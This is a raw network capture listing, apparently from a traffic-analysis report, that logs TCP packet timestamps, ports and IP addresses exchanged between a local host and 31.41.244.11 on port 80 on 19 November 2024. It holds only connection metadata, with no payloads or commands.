Nov 19, 2024 22:07:08.714401960 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.714461088 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.714473963 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.714507103 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.714544058 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.714613914 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.714651108 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.714673996 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.714684963 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.714721918 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.714725018 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.714760065 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.714777946 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.714792013 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.714814901 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.714863062 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.714900017 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.714926004 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.714932919 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.714951038 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.714968920 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.715006113 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.715029001 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.715037107 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.715054989 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.715075016 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.715111971 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.715131998 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.715143919 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.715166092 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.715182066 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.715219021 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.715236902 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.715250969 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.715279102 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.715289116 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.715349913 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.715356112 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.715382099 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.715413094 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.715420961 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.715456963 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.715480089 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.715490103 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.715504885 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.715526104 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.715564966 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.715581894 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.715598106 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.715635061 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.715636015 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.715671062 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.715687037 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.715704918 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.715719938 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.715744972 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.715781927 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.715814114 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.715817928 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.715847969 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.716162920 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.716200113 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.716224909 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.716237068 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.716245890 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.716526031 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.716562986 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.716588020 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.716595888 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.716612101 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.716633081 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.716691017 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.716715097 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.716747046 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.716774940 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.716784000 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.716820955 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.716845989 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.716856003 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.716870070 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.716892958 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.716929913 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.716957092 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.716963053 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.716980934 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.717000008 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.717037916 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.717056990 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.717070103 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.717087984 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.717107058 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.717144012 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.717166901 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.717175961 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.717191935 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.717214108 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.717251062 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.717267990 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.717286110 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.717313051 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.717356920 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.717394114 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.717416048 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.717427015 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.717453957 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.717464924 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.717504025 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.717525005 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.717556000 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.717570066 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.717669964 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.717710018 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.717730045 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.717741966 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.717760086 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.717791080 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.717828989 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.717847109 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.717866898 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.717897892 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.717905998 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.717943907 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.717966080 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.717977047 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.717998028 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.718014956 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.718051910 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.718080044 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.718085051 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.718111038 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.718122959 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.718159914 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.718177080 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.718193054 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.718215942 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.718230009 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.718267918 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.718286037 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.718302011 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.718328953 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.718338966 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.718377113 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.718400955 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.718410015 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.718431950 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.718447924 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.718486071 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.718507051 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.718518019 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.718544006 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.718554974 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.718592882 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.718611956 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.718626022 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.718652964 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.718663931 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.718702078 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.718722105 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.718734026 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.718769073 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.718771935 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.718808889 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.718828917 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.718842030 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.718888998 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.718893051 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.718925953 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.718940020 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.718961000 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.718997955 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.718997955 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.719038963 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.719058990 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.719072104 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.719105005 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.719113111 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.719131947 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.719146013 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.719163895 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.719171047 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.719182968 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.719197035 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.719208956 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.719213963 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.719233036 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.719286919 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.719290972 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.719301939 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.719342947 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.719747066 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.719810009 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.719818115 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.719834089 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.719873905 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.719932079 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.719997883 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.720002890 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.720019102 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.720063925 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.720082045 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.720139980 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.720140934 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.720158100 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.720191002 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.720196962 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.720238924 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.720242977 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.720261097 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.720314980 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.720397949 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.720458984 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.720468044 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.720483065 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.720523119 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.720704079 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.720721960 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.720755100 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.720762014 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.720793009 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.721015930 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.721051931 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.721066952 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.721084118 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.721098900 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.721098900 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.721122980 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.721129894 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.721138000 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.721178055 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.721451044 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.721488953 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.721503019 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.721509933 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.721540928 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.721602917 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.721661091 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.721692085 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.721707106 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.721748114 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.721807957 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.721827030 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.721842051 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.721865892 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.721895933 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.721920967 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.721954107 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.721968889 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.721978903 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.722009897 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.722073078 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.722109079 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.722122908 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.722132921 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.722162962 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.723916054 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.723973036 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.723978043 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.724014044 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.724025965 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.724133968 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.724189043 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.724210024 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.724240065 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.724262953 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.724387884 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.724442005 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.724493027 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.724508047 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.724548101 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.724978924 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.725039005 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.725060940 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.725075960 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.725115061 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.725152016 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.725203991 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.725230932 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.725265980 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.725286961 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.725325108 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.725375891 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.725378990 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.725390911 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.725424051 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.725451946 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.725507021 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.725521088 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.725536108 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.725574017 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.725662947 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.725718021 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.725836039 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.725851059 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.725888014 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.725939989 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.725996971 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.726033926 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.726080894 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.726087093 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.726138115 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.726197004 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.726233959 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.726264954 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.726289988 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.726341963 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.726399899 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.726450920 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.726494074 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.726506948 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.726557970 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.726627111 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.726676941 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.726720095 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.726732016 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.726805925 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.726850986 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.726857901 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.726866961 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.726898909 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.726937056 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.726969957 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.726994038 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.727013111 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.727016926 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.727083921 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.727138042 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.727202892 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.727219105 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.727261066 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.727268934 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.727335930 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.727345943 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.727394104 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.727397919 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.727427959 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.727452993 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.727531910 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.727585077 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.727622986 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.727675915 CET	49864	80	192.168.2.4	31.41.244.11
